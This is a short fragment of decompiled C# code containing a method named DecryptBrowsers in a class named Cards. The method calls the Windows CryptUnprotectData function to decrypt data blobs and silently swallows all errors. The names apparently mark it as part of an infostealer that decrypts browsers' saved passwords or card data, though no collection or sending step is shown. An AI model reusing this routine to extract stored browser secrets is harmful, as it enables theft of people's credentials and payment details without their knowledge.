// Token: 0x0600003B RID: 59 RVA: 0x00004D04 File Offset: 0x00002F04
public static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null)
{
Cards.DataBlob dataBlob = default(Cards.DataBlob);
Cards.DataBlob dataBlob2 = default(Cards.DataBlob);
Cards.DataBlob dataBlob3 = default(Cards.DataBlob);
Cards.CryptprotectPromptstruct cryptprotectPromptstruct = new Cards.CryptprotectPromptstruct
{
cbSize = Marshal.SizeOf(typeof(Cards.CryptprotectPromptstruct)),
dwPromptFlags = 0,
hwndApp = IntPtr.Zero,
szPrompt = null
};
string empty = string.Empty;
try
{
try
{
if (cipherTextBytes == null)
{
cipherTextBytes = new byte[0];
}
dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
dataBlob2.cbData = cipherTextBytes.Length;
Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length);
}
catch (Exception)
{
}
try
{
if (entropyBytes == null)
{
entropyBytes = new byte[0];
}
dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
dataBlob3.cbData = entropyBytes.Length;
Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length);
}
catch (Exception)
{
}
Cards.CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob);
byte[] array = new byte[dataBlob.cbData];
Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData);
return(array);
}
catch (Exception)
{
}
finally
{
if (dataBlob.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob.pbData);
}
if (dataBlob2.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob2.pbData);
}
if (dataBlob3.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob3.pbData);
}
}
return(new byte[0]);
}
private static extern bool CryptUnprotectData(ref Cards.DataBlob pCipherText, ref string pszDescription, ref Cards.DataBlob pEntropy, IntPtr pReserved, ref Cards.CryptprotectPromptstruct pPrompt, int dwFlags, ref Cards.DataBlob pPlainText);